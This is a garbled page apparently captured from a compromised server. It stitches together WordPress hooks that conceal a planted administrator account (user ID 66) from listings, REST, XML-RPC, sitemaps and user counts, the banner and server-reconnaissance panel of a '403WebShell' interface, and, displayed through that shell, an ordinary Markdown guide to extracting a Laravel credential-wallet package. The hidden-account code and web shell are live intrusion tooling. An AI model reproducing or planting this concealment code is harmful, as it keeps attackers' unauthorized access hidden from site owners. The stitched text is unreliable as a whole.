add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/EXTRACTION_GUIDE.md
# Extracting the Wallet Package from emajiwallet

## Overview

Yes, you can absolutely extract the core wallet functionality from the current emajiwallet project into a standalone Laravel package. This guide shows you how.

---

## Extraction Strategy

### What to Extract (Core Wallet)

```
✅ EXTRACT TO PACKAGE:
├── Models
│   ├── UserCredential
│   ├── Share
│   ├── SharedCredential
│   ├── UserIdentifier
│   └── CredentialNotification
│
├── Controllers
│   ├── CredentialController (renamed from WalletController)
│   ├── ShareController
│   ├── BackupController
│   └── IdentityVerificationController
│
├── Services
│   ├── VcParserService
│   ├── CredentialEncryptionService
│   ├── IpfsService
│   ├── ElmCredentialParser
│   └── PdfImportService
│
├── Migrations
│   ├── create_user_credentials_table
│   ├── create_shares_table
│   ├── create_shared_credentials_table
│   ├── create_user_identifiers_table
│   └── create_credential_notifications_table
│
├── Views
│   ├── credentials/
│   ├── shares/
│   └── components/
│
└── Events
    ├── CredentialImported
    ├── CredentialShared
    ├── CredentialDeleted
    └── IdentifierVerified
```

### What to Keep in emajiwallet (Domain-Specific)

```
❌ KEEP IN EMAJIWALLET:
├── Models
│   ├── Pathway
│   ├── PathwayRequirement
│   ├── Job
│   ├── JobRequirement
│   ├── Qualification
│   ├── CredentialMapping
│   ├── Organization
│   ├── Issuer (maybe - could be shared)
│   └── TrainingCourse
│
├── Controllers
│   ├── PathwayController
│   ├── JobController
│   ├── TrainingController
│   └── OrganizationController
│
├── Services
│   ├── PathwayMatcher
│   ├── JobMatcher
│   └── TrainingSuggestions
│
├── Listeners (NEW - listen to wallet events)
│   ├── MapCredentialToQualification
│   ├── UpdateUserPathways
│   ├── MatchJobs
│   └── SuggestTraining
│
└── Views
    ├── pathways/
    ├── jobs/
    └── training/
```

---

## Step-by-Step Extraction Process

### Phase 1: Create Package Structure

```bash
# 1. Create new package directory (outside emajiwallet or in packages/)
mkdir -p packages/emaji/credential-wallet
cd packages/emaji/credential-wallet

# 2. Initialize composer package
composer init

# Answer prompts:
# Package name: emaji/credential-wallet
# Description: Laravel package for managing verifiable credentials
# Author: Your Name <your@email.com>
# Minimum Stability: stable
# Package Type: library
# License: MIT

# 3. Create directory structure
mkdir -p src/{Models,Controllers,Services,Events,Providers,Traits}
mkdir -p src/Http/{Controllers,Middleware}
mkdir -p database/migrations
mkdir -p resources/views
mkdir -p config
mkdir -p routes
mkdir -p tests
```

### Phase 2: Set Up composer.json

```json
{
    "name": "emaji/credential-wallet",
    "description": "Laravel package for managing verifiable credentials with support for W3C VCs, OpenBadges, and ELM",
    "type": "library",
    "license": "MIT",
    "authors": [
        {
            "name": "Your Name",
            "email": "your@email.com"
        }
    ],
    "require": {
        "php": "^8.2",
        "illuminate/support": "^11.0|^12.0",
        "illuminate/database": "^11.0|^12.0",
        "illuminate/http": "^11.0|^12.0",
        "firebase/php-jwt": "^6.0",
        "intervention/image": "^3.0",
        "smalot/pdfparser": "^2.0",
        "spatie/pdf-to-image": "^3.0"
    },
    "require-dev": {
        "orchestra/testbench": "^9.0",
        "phpunit/phpunit": "^10.0"
    },
    "autoload": {
        "psr-4": {
            "Emaji\\CredentialWallet\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Emaji\\CredentialWallet\\Tests\\": "tests/"
        }
    },
    "extra": {
        "laravel": {
            "providers": [
                "Emaji\\CredentialWallet\\Providers\\CredentialWalletServiceProvider"
            ],
            "aliases": {
                "CredentialWallet": "Emaji\\CredentialWallet\\Facades\\CredentialWallet"
            }
        }
    },
    "minimum-stability": "stable",
    "prefer-stable": true
}
```

### Phase 3: Copy and Refactor Files

#### 3.1 Copy Models

```bash
# Copy models from emajiwallet to package
cp app/Models/UserCredential.php packages/emaji/credential-wallet/src/Models/
cp app/Models/Share.php packages/emaji/credential-wallet/src/Models/
cp app/Models/SharedCredential.php packages/emaji/credential-wallet/src/Models/
cp app/Models/UserIdentifier.php packages/emaji/credential-wallet/src/Models/
cp app/Models/CredentialNotification.php packages/emaji/credential-wallet/src/Models/
```

**Update namespaces in each model:**

```php
// Before (in emajiwallet)
namespace App\Models;

// After (in package)
namespace Emaji\CredentialWallet\Models;
```

**Example: UserCredential.php**

```php
<?php

namespace Emaji\CredentialWallet\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Support\Str;

class UserCredential extends Model
{
    use HasFactory;

    protected $fillable = [
        'user_id',
        'raw_vc',
        'decoded_json',
        'credential_identifier',
        'name',
        'issuer_identifier',
        'issuer_name',
        'issuer_id',
        'achievement_id',
        'is_mapped',
        'issued_on',
        'image_id',
        'image_type',
        'image_caption',
        'image_local_path',
        'image_ext',
        'credential_uuid',
        'thumbnail',
        'vc_location',
        'credential_format',
        'elm_data',
        'recipient_identifier',
        'recipient_verified',
        'metadata', // For extensibility
    ];

    protected $casts = [
        'decoded_json' => 'array',
        'elm_data' => 'array',
        'metadata' => 'array',
        'is_mapped' => 'boolean',
        'recipient_verified' => 'boolean',
        'issued_on' => 'date',
    ];

    protected static function boot()
    {
        parent::boot();

        static::creating(function ($credential) {
            if (empty($credential->credential_uuid)) {
                $credential->credential_uuid = (string) Str::uuid();
            }
        });
    }

    // User relationship - dynamically resolved
    public function user()
    {
        return $this->belongsTo(
            config('auth.providers.users.model')
        );
    }

    // Allow host app to extend with more relationships
    // e.g., qualification() relationship added by emajiwallet
}
```

#### 3.2 Copy Controllers

```bash
# Copy and rename controllers
cp app/Http/Controllers/WalletController.php packages/emaji/credential-wallet/src/Http/Controllers/CredentialController.php
cp app/Http/Controllers/ShareController.php packages/emaji/credential-wallet/src/Http/Controllers/
cp app/Http/Controllers/BackupController.php packages/emaji/credential-wallet/src/Http/Controllers/
cp app/Http/Controllers/IdentityVerificationController.php packages/emaji/credential-wallet/src/Http/Controllers/
```

**Update namespaces and remove domain-specific logic:**

```php
// Before (WalletController.php in emajiwallet)
namespace App\Http\Controllers;

use App\Models\UserCredential;
use App\Models\CredentialMapping; // ❌ Domain-specific
use App\Models\Job; // ❌ Domain-specific

class WalletController extends Controller
{
    public function credentials()
    {
        $credentials = auth()->user()->credentials()
            ->with('qualification') // ❌ Domain-specific
            ->get();

        // Hydrate from qualification
        $credentials->each(function ($cred) {
            if (empty($cred->name)) {
                $cred->name = $cred->qualification->title ?? 'Untitled'; // ❌
            }
        });

        return view('credentials.credentials', compact('credentials'));
    }
}

// After (CredentialController.php in package)
namespace Emaji\CredentialWallet\Http\Controllers;

use Emaji\CredentialWallet\Models\UserCredential;
use Emaji\CredentialWallet\Services\VcParserService;
use Emaji\CredentialWallet\Events\CredentialImported;
use Illuminate\Http\Request;

class CredentialController extends Controller
{
    public function index()
    {
        $credentials = auth()->user()->credentials()->get();

        return view('wallet::credentials.index', compact('credentials'));
    }

    public function import(Request $request)
    {
        $request->validate([
            'credential' => 'required|file|max:9096',
        ]);

        $parsed = app(VcParserService::class)->parse(
            $request->file('credential')
        );

        // Validate recipient
        // ... validation logic ...

        $credential = UserCredential::create([
            'user_id' => auth()->id(),
            'raw_vc' => $parsed['raw'],
            'credential_identifier' => $parsed['credential_identifier'],
            // ... other fields
        ]);

        // 🔥 Fire event (host app can listen)
        event(new CredentialImported($credential, auth()->user()));

        return redirect()->route('wallet.credentials.show', $credential->credential_uuid);
    }
}
```

#### 3.3 Copy Services

```bash
# Copy services
cp app/Services/VcParserService.php packages/emaji/credential-wallet/src/Services/
cp app/Services/CredentialEncryptionService.php packages/emaji/credential-wallet/src/Services/
cp app/Services/IpfsService.php packages/emaji/credential-wallet/src/Services/
cp app/Services/ElmCredentialParser.php packages/emaji/credential-wallet/src/Services/
cp app/Services/PdfImportService.php packages/emaji/credential-wallet/src/Services/
```

**Update namespaces:**

```php
// Before
namespace App\Services;

// After
namespace Emaji\CredentialWallet\Services;
```

#### 3.4 Copy Migrations

```bash
# Copy migrations
cp database/migrations/*_create_user_credentials_table.php packages/emaji/credential-wallet/database/migrations/
cp database/migrations/*_create_shares_table.php packages/emaji/credential-wallet/database/migrations/
cp database/migrations/*_create_shared_credentials_table.php packages/emaji/credential-wallet/database/migrations/
cp database/migrations/*_create_user_identifiers_table.php packages/emaji/credential-wallet/database/migrations/
cp database/migrations/*_create_credential_notifications_table.php packages/emaji/credential-wallet/database/migrations/

# Rename migrations to use date placeholders
cd packages/emaji/credential-wallet/database/migrations/
mv *_create_user_credentials_table.php 2024_01_01_000001_create_user_credentials_table.php
mv *_create_shares_table.php 2024_01_01_000002_create_shares_table.php
# ... etc
```

#### 3.5 Copy Views

```bash
# Copy views
cp -r resources/views/credentials packages/emaji/credential-wallet/resources/views/
cp -r resources/views/shares packages/emaji/credential-wallet/resources/views/

# Remove domain-specific views from package
rm packages/emaji/credential-wallet/resources/views/credentials/pathways.blade.php
rm packages/emaji/credential-wallet/resources/views/credentials/jobs.blade.php
```

**Update view references:**

```blade
{{-- Before (in emajiwallet) --}}
@extends('layouts.app')

{{-- After (in package) --}}
@extends('wallet::layouts.app')

{{-- Or allow customization --}}
@extends(config('credential-wallet.layout', 'wallet::layouts.app'))
```

### Phase 4: Create Service Provider

```php
<?php

namespace Emaji\CredentialWallet\Providers;

use Illuminate\Support\ServiceProvider;
use Emaji\CredentialWallet\Services\VcParserService;
use Emaji\CredentialWallet\Services\CredentialEncryptionService;
use Emaji\CredentialWallet\Services\IpfsService;

class CredentialWalletServiceProvider extends ServiceProvider
{
    public function boot()
    {
        // Load migrations
        $this->loadMigrationsFrom(__DIR__.'/../../database/migrations');

        // Load routes
        $this->loadRoutesFrom(__DIR__.'/../../routes/wallet.php');

        // Load views
        $this->loadViewsFrom(__DIR__.'/../../resources/views', 'wallet');

        // Publish config
        $this->publishes([
            __DIR__.'/../../config/credential-wallet.php' => config_path('credential-wallet.php'),
        ], 'wallet-config');

        // Publish migrations
        $this->publishes([
            __DIR__.'/../../database/migrations' => database_path('migrations'),
        ], 'wallet-migrations');

        // Publish views
        $this->publishes([
            __DIR__.'/../../resources/views' => resource_path('views/vendor/wallet'),
        ], 'wallet-views');

        // Publish public assets
        $this->publishes([
            __DIR__.'/../../resources/public' => public_path('vendor/wallet'),
        ], 'wallet-assets');
    }

    public function register()
    {
        // Merge config
        $this->mergeConfigFrom(
            __DIR__.'/../../config/credential-wallet.php',
            'credential-wallet'
        );

        // Register services
        $this->app->singleton(VcParserService::class);
        $this->app->singleton(CredentialEncryptionService::class);
        $this->app->singleton(IpfsService::class);

        // Register facade
        $this->app->singleton('credential-wallet', function ($app) {
            return new \Emaji\CredentialWallet\CredentialWallet($app);
        });
    }
}
```

### Phase 5: Create Routes

```php
<?php
// packages/emaji/credential-wallet/routes/wallet.php

use Illuminate\Support\Facades\Route;
use Emaji\CredentialWallet\Http\Controllers\CredentialController;
use Emaji\CredentialWallet\Http\Controllers\ShareController;
use Emaji\CredentialWallet\Http\Controllers\BackupController;

Route::middleware(['web', 'auth'])->prefix('wallet')->name('wallet.')->group(function () {

    // Credentials
    Route::get('/credentials', [CredentialController::class, 'index'])
        ->name('credentials.index');

    Route::get('/credentials/upload', [CredentialController::class, 'uploadForm'])
        ->name('credentials.upload');

    Route::post('/credentials/preview', [CredentialController::class, 'previewUpload'])
        ->name('credentials.preview');

    Route::post('/credentials/import', [CredentialController::class, 'confirmImport'])
        ->name('credentials.import');

    Route::get('/credentials/{credential_uuid}', [CredentialController::class, 'show'])
        ->name('credentials.show');

    Route::delete('/credentials/{credential_uuid}', [CredentialController::class, 'destroy'])
        ->name('credentials.destroy');

    // Shares
    Route::resource('shares', ShareController::class);
    Route::post('/shares/{shareUuid}/revoke', [ShareController::class, 'revoke'])
        ->name('shares.revoke');

    // Backup
    Route::post('/backup/download', [BackupController::class, 'download'])
        ->name('backup.download');
});

// Public routes
Route::get('/share/{shareUuid}', [ShareController::class, 'show'])
    ->name('wallet.share.view');
```

### Phase 6: Create Configuration File

```php
<?php
// packages/emaji/credential-wallet/config/credential-wallet.php

return [
    /*
    |--------------------------------------------------------------------------
    | Storage Configuration
    |--------------------------------------------------------------------------
    */
    'storage' => [
        'disk' => env('WALLET_STORAGE_DISK', 'local'),
        'path' => env('WALLET_STORAGE_PATH', 'credentials'),
    ],

    /*
    |--------------------------------------------------------------------------
    | IPFS Configuration
    |--------------------------------------------------------------------------
    */
    'ipfs' => [
        'enabled' => env('WALLET_IPFS_ENABLED', false),
        'host' => env('IPFS_HOST', '127.0.0.1'),
        'port' => env('IPFS_PORT', 5001),
        'gateway' => env('IPFS_GATEWAY', 'https://ipfs.io/ipfs/'),
    ],

    /*
    |--------------------------------------------------------------------------
    | Encryption
    |--------------------------------------------------------------------------
    */
    'encryption' => [
        'algorithm' => 'AES-256-CBC',
    ],

    /*
    |--------------------------------------------------------------------------
    | Model Customization
    |--------------------------------------------------------------------------
    | Allow host app to extend models
    */
    'models' => [
        'credential' => \Emaji\CredentialWallet\Models\UserCredential::class,
        'share' => \Emaji\CredentialWallet\Models\Share::class,
        'shared_credential' => \Emaji\CredentialWallet\Models\SharedCredential::class,
        'identifier' => \Emaji\CredentialWallet\Models\UserIdentifier::class,
    ],

    /*
    |--------------------------------------------------------------------------
    | Feature Flags
    |--------------------------------------------------------------------------
    */
    'features' => [
        'ipfs' => env('WALLET_FEATURE_IPFS', false),
        'encryption' => env('WALLET_FEATURE_ENCRYPTION', true),
        'pdf_import' => env('WALLET_FEATURE_PDF', true),
        'selective_disclosure' => env('WALLET_FEATURE_SELECTIVE_DISCLOSURE', true),
    ],

    /*
    |--------------------------------------------------------------------------
    | View Customization
    |--------------------------------------------------------------------------
    */
    'layout' => env('WALLET_LAYOUT', 'wallet::layouts.app'),

    /*
    |--------------------------------------------------------------------------
    | Route Configuration
    |--------------------------------------------------------------------------
    */
    'route_prefix' => env('WALLET_ROUTE_PREFIX', 'wallet'),
    'route_middleware' => ['web', 'auth'],
];
```

### Phase 7: Create Trait for User Model

```php
<?php
// packages/emaji/credential-wallet/src/Traits/HasCredentials.php

namespace Emaji\CredentialWallet\Traits;

use Emaji\CredentialWallet\Models\UserCredential;
use Emaji\CredentialWallet\Models\Share;
use Emaji\CredentialWallet\Models\UserIdentifier;

trait HasCredentials
{
    public function credentials()
    {
        return $this->hasMany(
            config('credential-wallet.models.credential', UserCredential::class)
        );
    }

    public function shares()
    {
        return $this->hasMany(
            config('credential-wallet.models.share', Share::class)
        );
    }

    public function identifiers()
    {
        return $this->hasMany(
            config('credential-wallet.models.identifier', UserIdentifier::class)
        );
    }

    public function getVerifiedIdentifiers()
    {
        return $this->identifiers()
            ->where('verified_at', '!=', null)
            ->get();
    }

    public function hasCredential(string $credentialIdentifier): bool
    {
        return $this->credentials()
            ->where('credential_identifier', $credentialIdentifier)
            ->exists();
    }
}
```

### Phase 8: Create Events

```php
<?php
// packages/emaji/credential-wallet/src/Events/CredentialImported.php

namespace Emaji\CredentialWallet\Events;

use Emaji\CredentialWallet\Models\UserCredential;
use Illuminate\Foundation\Auth\User;
use Illuminate\Queue\SerializesModels;

class CredentialImported
{
    use SerializesModels;

    public function __construct(
        public UserCredential $credential,
        public User $user
    ) {}
}
```

```php
<?php
// packages/emaji/credential-wallet/src/Events/CredentialShared.php

namespace Emaji\CredentialWallet\Events;

use Emaji\CredentialWallet\Models\Share;
use Illuminate\Foundation\Auth\User;
use Illuminate\Queue\SerializesModels;

class CredentialShared
{
    use SerializesModels;

    public function __construct(
        public Share $share,
        public User $user,
        public array $credentialIds
    ) {}
}
```

---

## Phase 9: Update emajiwallet to Use Package

### 9.1 Install Package Locally

```json
// emajiwallet/composer.json

{
    "repositories": [
        {
            "type": "path",
            "url": "./packages/emaji/credential-wallet"
        }
    ],
    "require": {
        "emaji/credential-wallet": "@dev"
    }
}
```

```bash
cd /path/to/emajiwallet
composer update
```

### 9.2 Update User Model

```php
<?php
// emajiwallet/app/Models/User.php

namespace App\Models;

use Illuminate\Foundation\Auth\User as Authenticatable;
use Emaji\CredentialWallet\Traits\HasCredentials;

class User extends Authenticatable
{
    use HasCredentials; // ✅ From wallet package

    // emaji-specific relationships
    public function pathways()
    {
        return $this->hasMany(Pathway::class);
    }

    public function organizations()
    {
        return $this->belongsToMany(Organization::class);
    }
}
```

### 9.3 Create Event Listeners

```php
<?php
// emajiwallet/app/Listeners/MapCredentialToQualification.php

namespace App\Listeners;

use Emaji\CredentialWallet\Events\CredentialImported;
use App\Models\CredentialMapping;

class MapCredentialToQualification
{
    public function handle(CredentialImported $event)
    {
        $credential = $event->credential;

        $mapping = CredentialMapping::where([
            'credential_identifier' => $credential->credential_identifier,
            'issuer_identifier' => $credential->issuer_identifier,
        ])->first();

        if ($mapping) {
            $credential->update([
                'is_mapped' => true,
                'metadata' => array_merge($credential->metadata ?? [], [
                    'qualification_id' => $mapping->qualification_id,
                    'mapped_at' => now(),
                ]),
            ]);
        }
    }
}
```

### 9.4 Register Listeners

```php
<?php
// emajiwallet/app/Providers/EventServiceProvider.php

use Emaji\CredentialWallet\Events\CredentialImported;
use App\Listeners\MapCredentialToQualification;

protected $listen = [
    CredentialImported::class => [
        MapCredentialToQualification::class,
        UpdateUserPathways::class,
        MatchJobs::class,
        SuggestTraining::class,
    ],
];
```

### 9.5 Remove Old Files from emajiwallet

```bash
# Delete old controllers (now in package)
rm app/Http/Controllers/WalletController.php
rm app/Http/Controllers/ShareController.php
rm app/Http/Controllers/BackupController.php

# Keep domain-specific controllers
# - PathwayController
# - JobController
# - TrainingController

# Update routes to use package routes
# The package routes are auto-loaded
```

---

## Testing the Package

### Run Package Tests

```bash
cd packages/emaji/credential-wallet
composer test
```

### Test in emajiwallet

```bash
cd /path/to/emajiwallet
php artisan migrate:fresh --seed
php artisan serve

# Test credential import
# Test sharing
# Verify events fire
# Check pathways update
```

---

## Publishing the Package

### Option 1: Private Repository (Recommended for now)

```bash
# Create private repo
git init
git add .
git commit -m "Initial package extraction"

# Push to private GitHub/GitLab
git remote add origin git@github.com:yourusername/credential-wallet.git
git push -u origin main
```

**Install in other projects:**

```json
{
    "repositories": [
        {
            "type": "vcs",
            "url": "git@github.com:yourusername/credential-wallet.git"
        }
    ],
    "require": {
        "emaji/credential-wallet": "^1.0"
    }
}
```

### Option 2: Packagist (Public)

```bash
# 1. Create account on packagist.org
# 2. Submit package URL
# 3. Set up auto-update webhook
```

**Install in any project:**

```bash
composer require emaji/credential-wallet
```

---

## Benefits of This Approach

✅ **emajiwallet becomes cleaner** - Only domain logic remains
✅ **Wallet is reusable** - Use in other projects
✅ **Separate versioning** - Update wallet independently
✅ **Open source potential** - Can share wallet with community
✅ **Clear boundaries** - Forces clean architecture
✅ **Easier testing** - Test wallet in isolation

---

## Timeline Estimate

| Phase | Time | Description |
|-------|------|-------------|
| Setup | 1 day | Create package structure |
| Extract Models | 2 days | Copy, refactor, test models |
| Extract Controllers | 3 days | Copy, refactor, remove domain logic |
| Extract Services | 2 days | Copy, refactor services |
| Extract Views | 2 days | Copy views, make configurable |
| Service Provider | 1 day | Create provider, config |
| Events & Traits | 1 day | Create events, HasCredentials trait |
| Update emajiwallet | 3 days | Install package, create listeners |
| Testing | 3 days | Test package and integration |
| Documentation | 2 days | Write docs, examples |
| **Total** | **~20 days** | ~4 weeks |

---

## Next Steps

1. **Decide on repository structure** - Monorepo vs separate repos?
2. **Create package skeleton** - Set up directories
3. **Extract models first** - Start with data layer
4. **Extract services** - Then business logic
5. **Extract controllers** - Then presentation layer
6. **Test thoroughly** - Ensure nothing breaks
7. **Update emajiwallet** - Remove old code, add listeners
8. **Document** - Write comprehensive docs

Would you like me to start with creating the actual package structure?

Youez - 2016 - github.com/yon3zu
LinuXploit